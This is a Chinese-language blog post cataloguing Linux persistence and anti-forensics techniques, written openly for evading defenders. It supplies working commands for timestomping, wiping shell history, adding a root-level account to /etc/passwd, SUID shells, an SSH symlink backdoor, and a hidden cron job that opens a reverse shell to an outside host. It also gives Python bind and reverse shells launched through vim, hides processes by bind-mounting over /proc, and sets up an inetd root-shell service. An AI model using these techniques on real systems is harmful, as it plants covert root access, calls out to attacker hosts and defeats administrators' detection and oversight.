linux权限维持

修改文件/终端属性

文件创建时间

如果蓝队根据文件修改时间来判断文件是否为后门,如参考index.php的时间再来看shell.php的时间就 可以判断shell.php的生成时间有问题

修改文件时间

1
touch -r index.php shell.php

touch命令用于修改文件或者目录的时间属性,包括存取时间和更改时间。若文件不存在,系统会建立 一个新的文件。

文件锁定

在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是 查看不出来的,从而达到隐藏权限的目的。

1
2
3
4
5
chattr +i evil.php #锁定文件
rm -rf evil.php #提示禁止删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除文件

历史操作命令

只针对你的工作关闭历史记录

1
[space]set +o history #备注:[space] 表示空格。并且由于空格的缘故,该命令本身也不会被记录

要重新开启历史功能,执行下面的命令:

1
[Space]set -o history #将环境恢复原状

从历史记录中删除指定的命令

搜索

1
history | grep "keyword"

输出历史记录中匹配的命令,每一条前面会有个数字。从历史记录中删除那个指定的项

1
history -d [num]

删除大规模历史操作记录,这里,我们只保留前150行:

1
sed -i '150,$d' ~/.bash_history

passwd增加用户

1
2
3
4
/etc/passwd
各部分含义:
用户名:密码:用户ID:组ID:身份描述:用户的家目录:用户登录后所使用的SHELL
root:x:0:0:root:/root:/bin/bash
1
2
3
4
5
6
/etc/shadow 
各部分含义:
用户名:密码的MD5加密值:自系统使用以来口令被修改的天数:口令的最小修改间隔:口令更改的周
期:口令失效的天数:口令失效以后帐号会被锁定多少天:用户帐号到期时间:保留字段尚未使用

root:$6$6.imW5Ld$qNRtolNQ3MShopajilTqD89NmsGpVDKE08.Hno.ac6/nfbXia3HBjZT6r7/WtC3CoUUCRfDwOF2cFpKLORYk81:18920:0:99999:7:::

写入举例:

1
2
3
$perl -le 'print crypt("123456","salt")' //加密密码
sahL5d5V.UWtI
$echo "dis:sahL5d5V.UWtI:0:0:/root:/bin/bash" >> /etc/passwd //写入passwd

suid后门

当一个文件所属主的x标志位s(set uid简称suid)时,且所属主为root时,当执行该文件时,其实是以 root身份执行的。必要条件:

1
2
3
4
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限

创建suid权限的文件

1
2
3
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot
ls -al /tmp/.woot

执行

1
2
./tmp/.woot
./tmp/.woot -p //bash2 针对 suid 有一些护卫的措施,使用-p参数来获取一个root shell

image-20251005213015438

ssh后门

SSH 软连接后门

漏洞原理

主要是pam_rootok.so模块造成的漏洞

pam_rootok.so主要作用是使得uid为0的用户,即root用户可以直接通过认证而不需要输入密码。

1
2
3
1.PAM认证机制,若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。若关闭则会验证密码,无法建立软链接后门。

2.当我们通过特定的端口连接ssh后,应用在启动过程中就会去找到配置文件,如:我们的软链接文件为/tmp/su,那么应用就会找/etc/pam.d/su作为配置文件,那么则实现了无密登录。
1
2
3
通俗点来说,
是sshd服务启用了PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。
在/etc/pam.d/目录下,对应文件里包含"auth sufficient pam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。

测试

使用ln命令创建root账户 ssh软链接后门命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=12345

ln -sf /usr/sbin/sshd /usr/local/su
这部分命令使用 ln 命令创建一个符号链接。它将 /usr/local/su 设置为指向 /usr/sbin/sshd 的符号链接。这意味着如果你执行 /usr/local/su,实际上会启动 /usr/sbin/sshd
-s:表示创建符号链接。
-f:表示如果 /usr/local/su 已经存在,则强制覆盖它。

/usr/local/su -oPort=12345
前面那条命令创建了一个符号链接/usr/local/su指向了/usr/sbin/sshd,通俗的来讲执行/usr/local/su就相当于是在执行/usr/sbin/sshd
/usr/local/su -oPort=12345就相当于在执行/usr/sbin/sshd -oPort=12345
-oPort=12345:通过 -o 指定了一个配置参数。在这里,Port=12345 意味着将监听端口设置为 12345,而不是默认的 SSH 端口(通常是 22
简单的来说这个命令将启动 SSH 服务器,并使其监听在端口 12345 上,从而允许客户端连接到该服务器。

/usr/local/su 软连接 链接名是自定义的随便什么都可以(只要你写后面的时候你觉得够隐秘就可以)
1
ssh root@192.168.59.119 -p12345

image-20251005214305863

SSH 公钥免密码登陆

1
2
ssh-keygen -t rsa //生成公钥
cat id_rsa.pub > authorized_keys //将id_rsa.pub内容放到目标.ssh/authorized_keys

攻击机

1
2
chmod 600 id_rsa
ssh -i id_rsa root@192.168.59.119

image-20251005215939721

Cron机制安装后门

Cron是ubuntu下默认启动的用户执行计划。它会按照设置,在固定的周期或者按照 一定时间执行某一个任务。它是一项服务,你可以使用基本的服务查看状态命令等查看信息。

1
service cron status

查看普通用户的执行计划。

1
crontab -l

编辑任务

1
crontab -e

把反弹shell加入计划任务里执行

1
(crontab -l;printf "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.79.3/2334 0>&1';\r%100c\n")|crontab -
1
2
3
cat /var/spool/cron/crontabs/root
root是计划任务的文件 使用cat是看不到内容的 因为是用了某些特殊字符 导致某些内容被隐藏
可以使用 crontab -e 编辑任务可以看到反弹shell的内容

vim python 扩展后门

写入后门

正向后门

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from socket import *
import subprocess
import os
import threading
import sys
import time

if __name__ == "__main__":
try:
# 创建 socket 服务器
server = socket(AF_INET, SOCK_STREAM)
server.bind(('0.0.0.0', 11))
server.listen(5)
print('Waiting for connection on port 11...')

# 接受连接
talk, addr = server.accept()
print('Connection from', addr)

# 启动 shell
proc = subprocess.Popen(["/bin/sh", "-i"],
stdin=talk,
stdout=talk,
stderr=talk,
shell=True)

# 等待进程结束
proc.wait()

except Exception as e:
print(f"Error: {e}")
finally:
try:
talk.close()
server.close()
except:
pass

反向后门

1
2
3
4
5
6
7
import socket, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.187.78", 6666))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

执行后门

1
2
vim -E -c "py3file shell.py"
//-E是启动一个改进的Ex模式(也就是命令模式),-c是去加载一个文件,并去执行。

但是这样的后门太明显了,netstat -anpt 一查就可以看到,而且 vim -E -c “py3file shell.py” 命令执行之后,还会有一个空白窗口

image-20251007172243510

隐藏后门

1、vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口
2、将netstat -anpt 查看到的可疑连接隐藏起来

vim -E -c “py3file shell.py” 命令启动的时候不显示该窗口,解决方法:

1
2
3
4
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &)
#nohup的执行结果输出到/dev/null中
#其中/dev/null在linux中代表空设备,结果输出到空设备也就是丢弃nohup的执行结果。
#“2”在linux中代表错误输出,“1”在linux中代表标准输出,在此处也就是nohup的输出。2>&1表示将错误输出绑定到标准输出上,在此处也就是将错误输出同样输出到空设备上不进行显示。这样,无论nohup执行结果是否正确,都不会有输出。

将netstat -anpt 查看到的可疑连接隐藏起来,解决方法:

既然是后门,那么就不能留下自己创建的文件,可以将删除命令直接拼接到命令上

1
(nohup vim -E -c "py3file shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py

隐藏进程命令

1
2
3
4
5
6
mkdir null
mount --bind null /proc/2782
netstat -anpt
#proc/6238 通常是进程 2782 的目录
#mount --bind命令是将前一个目录挂载到后一个目录上,所有对后一个目录的访问其实都是对前一个目录的访问,并且会将前一个目录路径隐藏起来(注意这里只是隐藏不是删除,数据未发生改变,仅仅是无法访问了)。

image-20251007172905322

inetd服务后门

inetd是一个监听外部网络请求(就是一个socket)的系统守护进程,默认情况下为13端口。

当inetd接收到一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的
这个socket交给那个程序去处理。

所以,如果我们已经在目标系统的inetd配置文件中配置好,那么来自外部的某个socket是要执行一个可交互的shell,就获取了一个后门。

1
2
3
4
5
6
7
8
9
10
开启inetd
inetd
添加默认端口
/etc/services
woot 9999/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
开启inetd
inetd

image-20251007173703345

参考链接

ssh软链接后门

https://mp.weixin.qq.com/s/clSHwC9ZNF_FXEF0ZDAawA

ssh 公钥免密

https://blog.csdn.net/weixin_40412037/article/details/118305343

inetd服务后门

https://blog.csdn.net/qq_50854790/article/details/123014484

vim python 扩展后门

https://blog.csdn.net/weixin_40412037/article/details/119379149


linux权限维持
http://xiaowu5.cn/2025/12/18/linux权限维持/
作者
5
发布于
2025年12月18日
许可协议
BY XIAOWU